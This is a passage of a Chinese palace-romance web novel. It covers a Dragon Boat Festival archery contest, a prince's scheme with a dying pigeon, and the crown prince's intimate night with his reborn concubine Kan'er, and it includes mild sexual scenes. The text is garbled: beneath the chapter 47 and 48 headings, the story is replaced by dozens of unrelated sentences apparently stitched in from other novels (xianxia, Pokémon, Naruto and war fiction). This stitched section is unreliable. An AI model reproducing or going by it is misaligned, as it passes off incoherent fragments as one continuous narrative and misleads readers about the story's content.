这会儿这俩倒一副叔侄好的做派了。 宣王暗啐了一口。 刚要开口打圆场。 就听他六哥的声音一如既往的漠然:“恃人不如自恃,与其靠旁人施舍颜面,不若精进学识凭真本事取胜,如此也不至于叫人道你胜之不武。” 说完,看向睿王。 “蒙以养正,三哥往后还是不要教其如此投机取巧之法为好,千金何辜。” 他轻描淡写。 神态语气听着毫无批评教育之意,甚至说完就转身从侍卫手中接过了弓箭,为接下来的射柳做准备。 然而看似镇定的骆晔双颊却微微泛起红来,睿王嘴角的笑也变得有些勉强。 好个老六! “六皇叔说的是,侄儿受教了。” 骆晔拱手道。 睿王哈哈两声:“太子虽还未为人父,教孩子倒是有一套,为兄也受教了。” 骆峋调整弓箭。 不屑理会此等口舌之辩。 他也不会刻意在这种场合藏拙,众所周知的事,藏拙只会弄巧成拙, 女眷这边听不清场中的皇子们说了什么,但想也知道是在打嘴仗,且看样子睿王和皇长孙都没讨到好。 魏贵妃暗瞪了裴皇后好几眼。 信王的生母德妃倒像是没看到场中的情形,笑容满面地同官夫人说着话。 槛儿默默观察了几息。 重新把注意力放到场中。 二皇子荣王腿脚不便,八皇子简王不会武艺,他俩也不参加此次射柳。 场中的皇子便有睿王,慎王,太子,宣王,皇长孙以及十四岁的九皇子。 睿王擅文,武艺平平。 慎王文不成,但在武学方面是个有勇有谋的莽夫。 宣王是几个成年皇子里,唯一能和太子打得旗鼓相当的。 皇长孙和九皇子两个身量还未长成的少年郎,武艺只比睿王好一点点。 其余参加今日射柳的还是御前亲军二十六卫和三大营的年轻将领,以及有心在元隆帝跟前表现的勋贵子弟。 随着一声钟响。 众人各就各位。 元隆帝从观赛楼下来。 站到河堤的中间高处,长臂一扬。 立马有侍卫上前为帝王呈上一把约六尺见长,通体漆黑,印有五爪金龙的弓,以及长近三尺的朱漆箭矢。 元隆帝身姿笔挺,威严慑人。 犀利的凤目往对岸那个晃动的巨型葫芦一扫,下一刻,搭箭拉弓。 此乃帝王开箭。 由皇帝在射柳前射出第一箭,意在为国为民祈福,驱邪避灾,同时也表现了帝王对本朝军事的重视。 帝王开箭,即便再畏惧龙威也要肃然观望,女眷这边都事先来到了围栏前。 只听得“嗖”的一声。 离弦之箭势如破竹,巨型葫芦应声而裂,几只鸽子扑棱着翅膀刷刷飞向高空。 鸣鼓乐声响起,众人高呼。 “陛下万岁万万岁!陛下万岁万万岁!” 元隆帝朗笑,自高台一跃而下。 等元隆帝回了观赛楼,槛儿听到周围隐隐响起了一阵克制的吁气声。 很显然,众人都被元隆帝的龙威给震慑了。 河堤很长,射柳的数十位青年才俊间隔着一尺多宽的距离齐齐站成一排。 槛儿抚了抚心口,把视线定格在站在队伍左侧第一个位置的太子身上。 元隆帝一声令下。 三道震天鼓响,所有人搭箭拉弓。 下一刻! 末端插杏黄雕翎的箭矢疾如雷电,竟是眨眼间比所有箭都要快地冲了出去。 众人没来得及惊叹。 十多丈外那个不停晃动的葫芦就裂开了。 鲜活的白鸽突破束缚直冲云霄,一片雪白的羽毛在空中打了个转。 随即接二连三有鸽子扑棱着翅膀飞出来,但独独最初的那只飞得最高,最远。 骄阳似火,晴空万里。 有风迎面吹来,鸽子的咕咕声此起彼伏。 没有意外发生,什么也没发生。 槛儿望着翱翔在蓝天之下的鸽群,心里有种说不出的,比刚刚看龙舟竞渡还要来得汹涌澎湃的激荡。 忍不住笑,但眼眶润润的。 裴皇后不经意扭头。 就见东宫的这位小昭训脸蛋红扑扑的,美目含着泪光却亮得惊人。 笑得明媚灿烂,像是庆幸又像是崇拜,像是在由衷地为太子夺魁而高兴。 裴皇后都不记得自己有多少年没看到这样的笑脸了,不由得怔了怔神。 反应过来后,她看向场中的儿子。 也笑了。 “三叔,怎么了?” 场上。 骆晔把弓箭交给身旁的太监,回过身见睿王低头看着手,骆晔不禁问道。 睿王收起手。 藏起眼底的阴郁,无奈地叹气。 “你先前还说你皇叔正当壮年,龙马精神,结果呢?三叔的葫芦都没破,我都在想我这双手是不是太没用了。” 确实太没用了。 骆晔暗笑。 他的这位三叔确实不擅武。 但好歹也跟着武师傅学了多年。 往年好歹能把鸽子放生了,结果到了今年反倒连葫芦都没破,刚满十四岁的九皇叔都表现得比他好。 也不知皇祖父看到这样的三叔会怎么想。 心里贬了睿王一通。 骆晔笑着宽慰道:“人各有所长各有所短,三叔只是不擅弓马,学识却是一等一的好,您何至于自贬。” 睿王心里有事,懒得跟这小子虚与委蛇,敷衍了两句随其他人往楼上走。 侧目看到由人服侍着净手的太子。 睿王不显地皱了皱眉。 注意到睿王的身影上了楼,骆峋朝对岸望了一眼,眸底掠过一丝冷笑。 龙舟竞渡的魁首赏赐是一对儿纯金打造,刻着“御赐”俩字的碗,和一套云锦织蟒袍,外加刻着“端午嘉赏”几个字的五百两银子。 不过龙舟赛是团体作战。 所以慎王得了一只金碗,蟒袍和五十两银子,剩下的则按人头出力高低分。 榜眼舟和探花舟也都得了赏。 射柳的魁首彩头是五十两黄金,江南制造局进贡的宫缎十匹和一坛子菖蒲酒。 元隆帝直接命人送去了东宫。 槛儿她们这边看不到元隆帝赐赏的情形。 但这并不影响众人向太子妃、慎王妃,以及其他丈夫拿了名次的夫人们贺喜。 郑明芷大大方方接受大伙儿的巴结奉承,同时脸上恰如其分地带着一个妻子对丈夫该有的倾慕之意。 曹良媛此前代表东宫参加了不少大大小小的宴,自然也受了一番贺喜。 和她们比起来,无人问津,只能立在一旁的宋昭训就显得很落寞可怜了。 姜侧妃捏捏龙凤胎儿子的小手,还是打消了找这位宋昭训说话的念头。 直觉告诉她,这人是重生的。 可那又怎么样呢? 反正她是不会因为知道对方未来能坐上凤位,就舔狗似的跑去巴结讨好她。 说白了。 这些古代女人到最后再有权有势,终究还不都是靠男人?好像没了男人她们就干不出一番事业似的。 哪像她。 只要略施小计,宣王就被她训成了狗。 她还能写小说。 哦不对,这里应该叫话本子。 她会做美食,会写话本子,会经营铺子。 她可不像这些古代宅门里的小妾,只能依附男人,靠卖身卖色才能活。 所以,巴结是不可能巴结的。 这辈子都不可能。 姜侧妃收回目光,嘴角的笑略带鄙夷。 真亏这位宋昭训重生了也只想着给人做下贱的妾,出宫干一番事业不好吗? 所以说呐。 这些古代女人就是贱! 第一卷 第47章 让太子废了她?! “你说他在修练场摆擂台嘛?怎么样,结果如何。。”金雅开口问道。 林青玄也不去管它们,剑交左手,右手在怀中储物袋上一拍,一粒铁线藤的种子就拿在了手中。 灵灵已是休养好,虎爪抓起狄冲霄就飞空,极速向西南行去。目的地,毒蚀之海。 阎云眼前一黑,就算隔着面甲都感觉整个脸骨发出一阵令人牙酸的声音。 “说些大而空的玄怪话就能壮胆了么?”竹神绕身神光由翠而黄,右手中多了一柄竹刀,左手握有一柄竹枪。 闪光喷火龙见局势不对,立刻向高空飞去,但闪光喷火龙和真嗣没料到的是,沙尘暴过后,一道绿色的龙之波动却紧紧的跟随着闪光喷火龙而去,不过好在闪光喷火龙的反应力惊人,一个闪身就与龙之波动擦身而过。 “阎云,阎云……”叶国献反复念叨几次,总觉得这个名字有些印象,似乎在哪里听过,来头应该也不一般,只是时间太过久远有些忘了。 “哎,你别走,你还没有把那精神力的操控方法给我,我真的很需要那个。”金雅见到沐毅要离开,也顾不上害羞了,集忙拦在沐毅的身前,一脸认真的说道,她真的是很需要那个。 “无法穿越暴风雨的训练家,就算邀请他们也没有用。”乔伊回头回答道。 许闲琤没有说,怎么能说呢,一说恐怕母亲会晕过去,她那么不喜欢朝誉。在母亲的追问声中,她冲温玉蔻眨了眨眼,引得众人也去看温玉蔻。 “三殿下过谦了。”林映雪看着面前如寒月一般的翩翩佳公子,不知是否是因为近来发生的种种事情,她竟觉得眼前人也并没有她想象中的那样讨厌和难以接触了。 只待刘一鸣的一声令下,刚才对于他下达停止进攻的命令还颇有微词的龙虎山寨的土匪和游击队员们,有的人使用三八式步枪进行射击,有的人使用大正十一式轻机枪进行扫射,有的人投掷大正十年式手榴弹。 “是为何故,楚姑娘心中应是心知肚明吧!”徐潇冷哼一声,待楚芸清的态度较之前明显冷淡了许多。也不知道是因为昨日徐老夫人说了什么,还是因为生气眼前所见。 “哎呀,真儿。别着急了,要相信泠严嘛!”风尘挑了挑自己的刘海,做了一个自认为非常帅气的动作,如果不是冰蟒从一开始就一直抱着他的胳膊的话,就更加完美了。 前几日终于是立秋了,满城街道旁的树叶都开始渐渐泛黄、飘落,容国的形势在这样的秋日里也显得有些悲凉。 “我知道您之前有和王波来往,所以我想知道您和王波有多熟悉?“白欣怡问道。 只见青莲将一把匕首送与孙康,转身跑了出去,让孙康愣在原地,一时不知所措。 渐渐的,似乎有许多古老的记忆苏醒过来,说话越来越流利,一双狂暴的眼神中,已经只剩下贪婪,看向九歌。 鲜血随着那珠子的碎裂而崩开,一下子沾满了严渊右手,同时刘清若身边不断涌出压制住他动作的鲜血瞬间停住!逸仙先生露出了微笑,对严渊伸出了一根大拇指。 石炕上铺着乌禾杆制的炕席,由于才做完没多久,还有种秸秆独有的清香。 另外她也想知道,八里寨外出现的神秘高手会不会是那些人的同伙。 大家回头看着这个车子,心里都不由一阵无语。这个司机到底是把他们当成了什么人,居然怕成这个样子,宁愿倒着车走也要逃离这里。 那个叫俊名的公鸭嗓少年,不情不愿的走上前来,刚想道歉,又看到袁三爷身上的衣服,这衣服是陈师姐的,怎么会穿在她身上,她肯定有问题。 北风烈烈,王猛看了看这旷无寂野的一片,挥了挥手,背后的是十万大军,还有伍云召和吕布。他们是廖兮派遣北方边疆的大军,伍云召和吕布二人静静地看着王猛。 灵力珠不同于灵力丹,不过是100枚灵石提炼得来的,所以并不是很贵。 现在,她突然发现了,停住了嘴,于是其他的人自然也察觉到了。 他直接一把将程安宁给拽到了拐角的无人处,将她的后背靠在墙上,凝视着她。 只见原本的眉飞色舞已经变成了龇牙咧嘴,起身便恶狠狠的朝着姜毅冲了过去。 明明名义上来说,叶锦幕是陈奇英的表妹,可是,他却对她下那样的毒手。 孙悟空是不能走的,因为走了,他永远就没有恢复法力的一天,紧箍咒还在他的头上。 他的话音当中,带着无尽的霸道和寒意,便是让日国天皇都是为之眼睛一眯,似乎是无比的忌惮。 所以,这位看着已经40岁出头的中年成员,在倚着黑色大g的车窗交代了几句后,便原地恭敬地回了个军礼,驾着车就急匆匆地离去了。 再一次朝着老者恭敬的行了一礼,萧炎便也不再多做犹豫,身形转过,便是朝着那台阶大步踏去,内心之底,一股火热的情绪也油然而生。 他对这个冰橙实在太了解了,他相信冰橙一定会再次去找冰灵王座的。 辛德拉和提莫一直在看守着这些战将的神格,免得这些家伙不老实。 极昼下,蓝天和水,天水一色,望不到边。旁边邻水的一面大山,一片乌黑望不到头,道边桦树叶一动不动,连鸟儿也睡了,四周寂静的让人恐惧。 第一卷 第48章 太子:“走吧。”那便是六皇叔的新妾? 嗖~~,箭如闪电般的射过去,不偏不倚正中马的臀部,吁的声马抬起前脚嘶鸣着将凶手重重的从马背上摔下来。 “既然你什么都没看见,为什么要说打扰了!?”咧嘴反问道,聂宇的笑容在姜婷婷看来等同于恶魔的微笑。 宗景灏揽着她的腰,下巴抵着她的肩头,鼻尖弥漫着她身上独有的气息。 “怎么样,世界联合官府与总部,他们是赞成我大昌世界在几年之后成为区域霸主,还是反对?”肖执说道。 投影在金丹内空间里的肖执,扭动着他那虚幻的脑袋,打量着这个对他来说,熟悉而又陌生的荒芜世界。 荀攸顿时不想说话了,一旦闲聊的时候刘和的脑回路似乎和他们不一样,不过的确自己到了这个年纪:“主公这事……倒也不急,一切顺其自然就好了。”擦了一下汗水,他还是挺慌得。 密集的攻击落在阵法之上,五青殿阵法撑起的光罩就好像“下雨时的湖面”动荡不已!道宫修士体内除了神力外,还有道宫神邸演化的道力。同样的神通在两种力量的加持下,其威力不可同日而语。 “该死的天,真的要下雨,我们找个地方支好帐篷躲雨明早再上山。”赵明轩其实也为自己做打算,毕竟肥胖的他爬山比别人更费劲。 梁凡歆将身体的重量都放到了另外一只脚上,还是能慢慢走动的。 “我是王进。萧兄弟,东明山离这远如果这会儿你们去到那天黑也走不到,不如今夜在我这住一宿,明早再去。我这就给你们收拾床铺,王赡,给萧兄弟他们再热壶酒~”王进扯着嗓子对着屋内喊着。 想到这里,姜梨梨一想到自己的数字,应该是比较靠前的吧,还是两位数。 看到赵平安的样子,东方银粟就笑了,她知道赵平安是在说笑话。 随着时间的推移,古君邪身上,也开始使生出点点雷光,它们很微弱,似烛火一般,好似随时都有可能熄灭一般。 “大恩不言谢,这件事我司马长风记住了,以后赵兄但有差遣,给我个消息就行。”司马长风说道。 这不是传说中的上古十大神器之一开天斧吗?是由盘古大神用混沌之中的至阴之气所凝而成的,拥有分天地穿梭太虚的力量……在这儿怎么就成为了“学宫令”了? 一个圆不愣登有一丈见方的“大黑馒头”牢牢的把这个问天老祖铸在了里面。 左边的光球充满着厚重,中间的却隐隐流露着王者之气,右边的却是如此亲切渴望。 “我想去玄天界,我跟我的那些伙伴们约定在玄天界汇合。”赵平安回答道。 “唐正强你为什么要这样对我!?我才是远帆的总裁,没有我说了算,你凭什么这样做?”唐露气得忍不住大吼。 火云剑这种天兵在一些普通一点的拍卖会已经能当压轴,但在这次拍卖会上只是排第十。 陈志凡不敢大意,生怕这是尊者专门设置的陷阱。就在自己在寻找出口的时候,突然出手偷袭,让陈志凡防不胜防。 刹那后,袅袅烟云弥散中,极阴灵穴里的十八头鬼王一级的鬼物,绿莹莹的眼瞳表面,一枚枚形状各异、形如幽冥鬼兰、三阴幽昙、噬灵七星莲、鬼脸九阴花等的诀印,一晃即逝。 这一刻,他的心中似乎明白了几份,他的师兄黄龙士为何要将他到底传承送给李奇锋了。 可在半路他又想到这家伙的身份貌似有些神秘,自己如果贸然相救,短寸黄毛男恢复健康之后,又被他反咬一口怎么办? 雪之国也再次迎来的战争,不过不是国家之间的战争,而是王权的更迭。 解忧树虽然不懂陈志凡所摆的天地四才阵,但他法力高强,所谓一法通万法通,不管是佛是道,最终的结果却是异曲同工。 唐笑满脸得意,笑道:“他们是你的朋友,我自然要帮忙。”马天忌服了唐笑所赠的药也已伤势好转,不停道谢。 上古时期,先天神灵统御万物的年代,因为传说中的神道祖神----至高神位一直不曾有人达到。缺失了万神之王的镇压,众神一直各自为战,从未形成一个完整的神道体系。 象转之术,是佩恩轮回眼特有的忍术,能够将一人的查克拉附加在活人祭品的身上,从而让祭品变成一个精巧的替身来战斗的忍术。 被瓶子打中后惊声尖叫,然后捂住了被打的臀部,尖锐的眼神盯紧了洛河彬。 娱乐圈现在最主要的地方就是京城、魔都、花都,其中又以京城为主,这里是娱乐圈的中心,基本上在娱乐圈相关行业混的,都是在京城。 第49章 “殿下,抱抱我……” 宣王等人坐上马车时,槛儿一行人已经到了东宫,得了太子的令,轿辇和肩舆直接被抬进东宫大门。 今日端午,太子要留宿嘉荣堂。 去年如此,今儿自然不例外。 太子的轿辇停在嘉荣堂的院门口,槛儿和曹良媛也相继在这儿下了肩舆。 “出去了一天,都累了,回去了让人给你们松乏松乏,晚上早些歇吧。” 郑明芷站在太子身侧。 体贴地对槛儿她们道。 槛儿垂眸看着那片杏黄绣龙腾海岳的袍摆,和曹良媛齐齐屈膝欠了欠身。 “是。” 骆峋双手负后,眸光在小昭训乌黑的发顶停顿半息,转身步入嘉荣堂。 待那片袍摆和郑明芷淡出视野,听不见脚步声了,槛儿方和曹良媛往后院走。 等和曹良媛分开,进了西六院。 槛儿看向跳珠和银竹,柔声道:“你们今天也累了,一会儿用不着你们伺候,收拾完今晚都早些睡吧。” 跳珠银竹齐齐点头。 她们确实累了,这种累不仅仅是身体上的累,更是一种精神上的。 规矩大且人多。 她们要时刻眼观六路耳听八方,不但要看顾好主子,还要避免自己冲撞贵人,主子休息她们也不能休息。 主子体谅她们,她们便也不矫情。 瑛姑姑与寒酥几人早候着了,见槛儿她们回来忙把人迎了进去。 休息了会儿,泡个舒服的热水澡。 躺到榻上时槛儿浑身都懒懒的,瑛姑姑还在给她按腿,她便昏昏欲睡了。 . 嘉荣堂的偏殿在正房后面。 除了能从外面过去,正房的西稍间里还有一个小门能直达后面的偏殿。 这门是嘉荣堂建立之初规划的。 郑明芷嫁进来前嘉荣堂无人居住,这小门自然没有用武之地,也是这一年多里这门才发挥了它的作用。 太子进了嘉荣堂,径自步入西稍间。 郑明芷看着男人的身影渐渐消失,小门被其身后随行的小太监给关上。 她暗哼一声,转身进了东面卧房。 两刻钟后。 太子沐浴完,从偏殿过来。 郑明芷先一步到厅堂叫人备了茶,两人看似和谐地隔着一个案几坐着。 随即,郑明芷将今日女眷席那边的大致情况,三言两语同太子报了一遍。 这自然不是太子想知道别家女眷的事,而是女眷这边很多看似无关紧要的话题,往往可能涉及到前朝正事。 太子有安插人手在后宫。 但消息来源多,自然要方方面面顾到。 郑明芷可能区别不了一些门道机锋,太子却是能轻易从这些只言片语中,提取到不少有效的信息。 所以每逢这样的宴席。 郑明芷都会向太子汇报一番,不光东宫如此行事,其他各府皆是如此。 关系到自己的位置,郑明芷也乐得做这事。 听完她的汇报,骆峋颔颔首。 站起身。 “辛苦,早些歇息。” 郑明芷以为他要回偏殿,假笑着说了句“此乃妾身的分内之事”准备跟进屋,谁知却见男人负手往外行。 郑明芷愣了愣。 嘴比脑子快:“殿下,您上哪?” 骆峋停下来侧身看她,眼神很淡。 也没说话,就这么看着。 郑明芷被他看得一颗心倏地发紧,同时也意识过来这人可能要去哪了。 她顿时一阵恼意。 想说今晚过节,他就这么大剌剌地往妾室屋里去,让她的脸往哪搁! 可很快她就又想了起来。 所谓的逢年过节,以及其他日子该留宿嘉荣堂的规矩,实则都是太子自己定的。 没有哪条祖制规定,储君逢年节或其他特殊日子必须在太子妃屋里过夜。 先前他愿意遵循他自己定的规矩,是他愿意给她体面,给她这个妻子该有的尊重。 如今他仍愿意在东宫以外的地方给她体面,却再不愿在这事上做戏了。 自然是想去谁屋里,就去谁屋里! 他怎么能这样? 怎么可以这样! 郑明芷气得袖子里的手都抖了,但她还是强扯出一抹笑:“您白日里也累得不轻,今晚也早些休息吧。” 骆峋漠然地收起视线。 直到守门的小太监来报太子去了后院,郑明芷终于忍不住砸了手边的膏脂。 这就是男人! 往日里装得像模像样,一副清心寡欲不沾尘埃的和尚样儿,如今尝着了那贱婢的滋味,便欲罢不能了! 当她不知他心里想的什么吗? 姓曹的,姓秦的都是贵女出身,做不来那风骚下流样儿,他当着她们的面得端着! 轮到那贱婢就不用了! 贱骨头! . 小福子在次间来报说太子殿下来了时,槛儿已经迷迷糊糊睡着了。 但她没忘太子今晚该在嘉荣堂,且她和曹良媛走的时候太子就进嘉荣堂了。 所以太子没来。 是她太累听错了。 槛儿咕哝着翻个身,面朝里侧继续睡了。 瑛姑姑哭笑不得。 刚想叫醒人,门口的珠帘响了。 太子进来了。 帐子还没放下,挨着床头的地方亮着一盏灯,空气中萦绕着一股清新的香。 骆峋绕过屏风。 就见榻上的人穿着身薄薄的寝衣,背对着外侧躺着,搭在锦被上的那条腿,宽松的裤腿卷到了膝盖上方。 露出的大半截腿儿修长笔直,浑圆的臀是翘着的,胯骨圆润小巧,腰间塌陷的那段儿曲线弧度妖娆。 海顺见瑛姑姑神色不对,猜到了屏风内的情形,于是当即打了个手势。 很快,屋里没了宫人。 骆峋脱下外袍,只着中衣来到榻前。 瞥眼床头的那盏灯。 他顿了顿,最终还是灭了烛火。 槛儿迷糊间感觉后背落入了一片坚硬结实中,有温热的呼吸喷洒到她的后颈上,腰眼处似乎…… 身子比意识更快地认出了来人,槛儿无意识哼了哼,熟稔地挨近了他。 “殿下……” 娇娇怯怯的一声,尾音还打着转儿。 在这寂静的夜里,骆峋只觉心头像是被挠了一下,激得他头皮发麻。 “别动。” 他今夜喝了酒,不多。 沐浴洗漱一番后,口中早没有了酒味。 但腹腔还有些烧,体温也比平时高,而她的身子绵软,温度比他的低。 抱起来很舒服。 但骆峋顾念她今日劳累,此番前来便并非为了行事,只想问她射柳一事。 谁曾想他才拥住她。 她便如此…… 槛儿哪知太子殿下心中的纠结呢,她今晚吃了两小杯果酒,脑子原就因为微醺的醉意和瞌睡变得一团浆糊。 当下又被他熟悉的体温和气息包裹,她的脑袋就越发昏沉了起来。 忍不住抬起胳膊,反手摸到他的脸。 光洁的小腿不自觉贴着男人精壮修长的腿摩挲起来,脚勾起他的裤腿,磨着那微微带着点粗糙感的皮肤。 语调散乱:“殿下,抱抱我……” 骆峋的喉结克制地滚动了好几下。 直到她的手越来越不安分。 骆峋一口咬在她后颈。 夜风沙沙作响。 卷走微不可闻的呜咽。 第50章 太子爷:孤做不来去宠一个妾(?) 和风细雨地来了一场。 事罢。 槛儿倦怠得厉害,头脑却变得异常清明。 尤其记起太子都分明让她别动了,她却还是率先对他动起了手脚。 槛儿觉得臊,抱着身前的锦被一角闭着眼睛装睡,就等着他赶紧撤离。 哪知左等右等。 身后的男人都没见有动作。 倒是放在她腰间的手,指腹有一下没一下地在她的腰腹处打着转。 耳珠也被他的薄唇轻碰着。 槛儿呼吸微紧。 定了定神,按住腰上的那只大掌。 正要说叫人进来服侍的话,男人清哑的声音忽然在耳畔响起:“射柳,你如何知道葫芦里装的是伤鸽?” 顿了一瞬,他补充: “奄奄一息,濒死的伤鸽。” 槛儿一怔,随即猛地一下翻个身。 “真的是……” 男人倒吸一口凉气,却是她“蹭”的一下大动作,太子冷不丁吃痛。 槛儿立时僵住,不敢再动。 骆峋缓了缓。 又往后挪了挪,掰着她的肩将人转过来。 槛儿抓着他的胳膊,压低声音:“伤鸽?真是受了伤的鸽子?奄奄一息的?!” “死”这个字太忌讳了。 太子能说,其他人却不能。 骆峋盯着她因震惊而显得异常明亮的眼睛,夜色掩饰了他眸底的审视。 “难道不是你有所猜测,才借话本故事提醒孤?现下为何如此吃惊?” 当然吃惊了! 因为那个话本故事是她编的啊,葫芦里装重伤的鸽子也是她瞎编的! 上辈子这时候她被拘在嘉荣堂,能活动的范围只有正房和偏殿前的空地。 打交道的人也只有伺候她的小丫头,和守在偏殿前的几个宫女太监。 关于太子在射柳活动中出了纰漏的消息,她就是从他们口中听来的。 但这种事裴皇后和太子肯定要封锁消息啊,除了当时在场观赛的人,外人即便知道也不可能事无巨细。 所以她当时只听他们说太子射柳时出了意外,放生的鸽子被射死了。 然而具体究竟怎么回事。 中间如何操作的,现场的情况如何,众人是何反应,宫外又是何情况。 等等。 偏殿的那几个宫女太监不清楚。 槛儿当然也就不知道。 买通安排活动的人往葫芦里装伤鸽,不过是她为了故事的合理性给编的!是她要用这个故事引出话头罢了! 槛儿没太子那么好的眼力。 这么暗的环境里还能观察对方的眼神,但她听出了他话里的试探之意。 可她一点儿都不心虚。 她本来就不知道啊,心虚什么! “我不知道啊……” 过于震惊,槛儿都搞错自称了。 语气懵懵的。 “那个故事是我老早从别人那儿听来的,前两日听寒酥他们提起宫里的端午活动,便突然想到了。” 顿了顿。 她茫然的语气里似乎夹杂着后怕:“竟然真发生了,鸽子居然真……” 像是突然说不下去,槛儿一把抱住太子。 抱得很紧很紧。 骆峋看着她肩头的那抹白,感受着怀中娇躯的瑟缩和她呼吸中的惧意。 他清亮的眸子在暗色中深得不见底。 须臾。 骆峋按着她的腰将人往怀里按了按,摸摸小昭训的头,下巴抵着她的发顶。 “孤好好的,不必害怕。” 槛儿知道他不信她。 哪怕裴皇后和他早把她查了个底儿朝天,他还是不会轻易相信她。 因为这宫里处处充满了算计,他身为储君,防备人于他来说早成了习惯。 槛儿暗叹。 倒也没追问是谁在暗中动手脚,只心有余悸道:“幸好您没事,您没事就好……” 要么信王,要么睿王或者慎王,横竖都是那几个皇子王爷的手笔。 她能替他避开这次的麻烦已是力所能及,剩下的她也插不上什么手。 就让太子自己去周旋吧。 不过,受前些天听的那些话本子的影响。 槛儿还以为太子发现是谁动的手脚后,会当场以其人之道还之其人之身呢。 骆峋也在想这事。 得知此事是睿王的手笔时,他并非没想过当场叫对方偷鸡不成蚀把米。 但细细一想。 宫里的射柳从葫芦制作,选鸽,到将鸽子装进葫芦再送至比赛现场。 这些流程一路都要经重重审查,并非买通此项活动的负责人就能轻易办成。 睿王能将濒死的鸽子装进葫芦里一路送到西苑,可不是对方临时起意。 他倒是能让人将鸽子换进睿王的葫芦里。 然时间有限,他来不及布置更多,准备不充分的结果很大可能会让他在父皇追查起此事时露出马脚。 加上睿王要想方设法攀咬。 行事又惯喜留有后手。 如此,事情到最后可能反不利于他。 骆峋不行无把握之事。 左右他要在其他地方算计回来。 敛起心思,骆峋难得放轻了声音:“这回你立了功,想要什么赏?” 槛儿只想帮他避开这回的麻烦,没想过要讨赏,闻言不禁惊讶了一下。 “殿下要赏妾身?” 骆峋:“当赏。” 他不惧流言,也不信吉凶之说。 但多一事不如少一事。 诚如她口中的话本故事,当下人总是注重吉凶之兆,若这回让睿王得逞,势必会在父皇心中扎上一根刺。 往后若再有事发生…… “说罢,想要何赏。” 骆峋低头,在槛儿的唇上亲了亲。 槛儿抬起腿搭在他腰间,故作天真地问:“妾身要什么殿下都会赏给妾身吗?” 骆峋按住她不着一物的腿。 “需孤有,且不可僭越太过。” 没有规矩不成方圆,他做不来像七弟宣王那般,不遗余力地去宠一个妾。 槛儿压根儿没想过僭越。 沉吟片刻。 她抿抿唇,双手攀住男人的脖颈:“妾身说了,殿下别恼妾身好不好?” “很僭越?” “不是,是妾身不想您生气。” 骆峋翻身平躺,将她捞到身上趴着。 “不气,说。” 槛儿便与他叠在一起。 声音轻轻的:“殿下可还记得当初问妾的问题?就孩子的养在哪的那个……” 骆峋自然记得。 他的病一直是他身上最大的把柄,一旦外人知晓,必定一番腥风血雨。 这两年他最大的短板便是没有子嗣。 尽管现今尚且没有明确的流言传出,但骆峋清楚有些人心里在打什么主意。 他是不急。 但当着父皇的面戏演得太过容易弄巧成拙,故而他决定暂且要一个孩子。 养在郑氏名下。 宫里多的是品阶不够的女子将孩子养在高位妃嫔名下,骆峋习以为常。 也并未将此事放在心上。 只不过,临到她侍寝那晚。 她巴巴地跪在他面前,抖若筛糠。 骆峋便无端想到了她的出身,想到眼线来报说她曾在后院受到过的折辱。 于是,他破天荒生出了一丝恻隐之心。 骆峋想,胆小没关系。 她若聪明,若能为了自身争取。 他不介意给她位份,立她起来,护着她,准许她将孩子养在自己身边。 她无母族,也能少很多麻烦。 而郑氏,迟早都要废。 太子爷难得一次对一个小宫婢生恻隐之心,所幸她的回答也深得他心。 若不然。 “殿下?” 见男人迟迟不开口,槛儿以为他另有打算,心里顿时忍不住“咯噔”一声。 骆峋听她嗓子眼儿又在颤了,别了别她耳畔的头发:“记得,继续说。” 槛儿拿不准他这会儿的心思,讨好般蹭蹭他:“您当时没说妾身答得对不对,妾便想,得您一个准话。” 两人这会儿都不着寸缕的,骆峋的呼吸沉了沉,抓起被子将她裹住。 “你想要的赏,就是一句准话?” 槛儿:“可以吗?” 骆峋知道这件事于她而言有多重要,所以也没打算拿这事逗弄于她。 很干脆地便给了答案。 “可以,但不是你自己养。” 槛儿:“??” 啥意思? 槛儿听到开头的两个字,心情正要激荡,结果猛地听他补充了后半句。 她就懵了。 感觉头顶被浇了盆凉水。 只是没等这盆凉水往身上滚。 男人再度开了口。 他说:“不是你自己养,是孤和你一道养。” “是孤与你的孩子。” 这话,是她当初亲口说的。 很好听,他喜欢。 也愿意。 第51章 太子爷:“你庄重些。”东宫要出宠妾了 夜空如墨。 清泠泠的蛾眉月在院中洒下一片清辉。 “姑姑?” 听着从屋里忽然传出来,明显区别于之前那阵动静的隐隐抽泣声,寒酥扯了扯瑛姑姑的袖子,目露担忧。 瑛姑姑也没底儿,担心自家主子迷迷糊糊惹恼了殿下,在哭着求饶呢。 她不由看向对面的海顺。 见海总管镇定自若地抄着手,坐在小福子不久前搬来的椅子上,瞧着像是丝毫没受屋里的动静影响。 瑛姑姑不由松了口气。 拍拍寒酥的手:“再看看。” 殊不知海顺这会儿也懵着呢,生怕下一刻他们家爷就怒不可遏地叫人。 也是怪了。 听着动静都结束一场了。 又不开始第二场,又不叫人进去伺候,两位主儿在里头说嘛呢?有啥可说的? 屋里。 骆峋坐起来,搂着怀中人的腰和她面对面坐着,就着锦被的角给她拭泪。 “哭个什么?” 槛儿不想哭,但忍不住。 明明他的语气还是那么冷。 明明知道他只是随口一说,不是因为心里有她而说这样的话来哄她开心。 也知道,上辈子刚开始的凄苦很大程度是自己造成的,可槛儿就是控制不住。 上辈子诊出有孕的时候她多怕啊,她还不到十六岁,没有做过新娘子。 没有和丈夫日常相处过。 可她的肚子里就有小娃娃了。 还是要替别人生的。 她怕娃娃在自己的肚里长不好,怕太子妃去母留子,怕生产时横死。 可她连怕都不敢表露出来。 因为太医说了,要保持心情愉悦孩子才能长好,所以太子妃给她下了命令。 于是,她每天都要强迫自己开心。 而他呢? 他来看过她,赐了赏。 却也仅此而已,半个字都不曾同她多说。 可她不敢怨他,因为她只是奴婢。 因为他是高高在上的太子! 她不敢怨也不敢言。 她只求能平平安安生下这个孩子。 后来孩子渐渐在她肚里长大,每逢夜深人静,她感觉到它在里面动,感觉到那种与自己骨血相连的亲密。 她恍然如梦地想,这便是她在这世上唯一的亲人,与她血脉相连的亲人。 于是她生了贪念。 她开始想自己养孩子了。 可她不敢表现出来,他也没有再来。 直到孩子出生,她连面都不曾见到就被人抱走了,他才坐到她的榻前。 生硬地握着她的手,说:“辛苦了。” 她当即就撑不住了。 嘴上说着“奴婢不辛苦”,眼泪哗啦啦流个不停,也是那回,他第一次主动拥住她。 如今他不但准许她日后将孩子养在自己身边,还亲口许诺她,说他会和她一起养孩子,养他们的孩子。 沉积在心底多年的委屈和不甘便如同决堤的洪水,全随着眼泪冒了出来。 想打他,咬他。 想把上辈子的委屈全发泄出来! 可她不能,至少现在不能。 “妾身、妾身是高兴的,高兴的……” 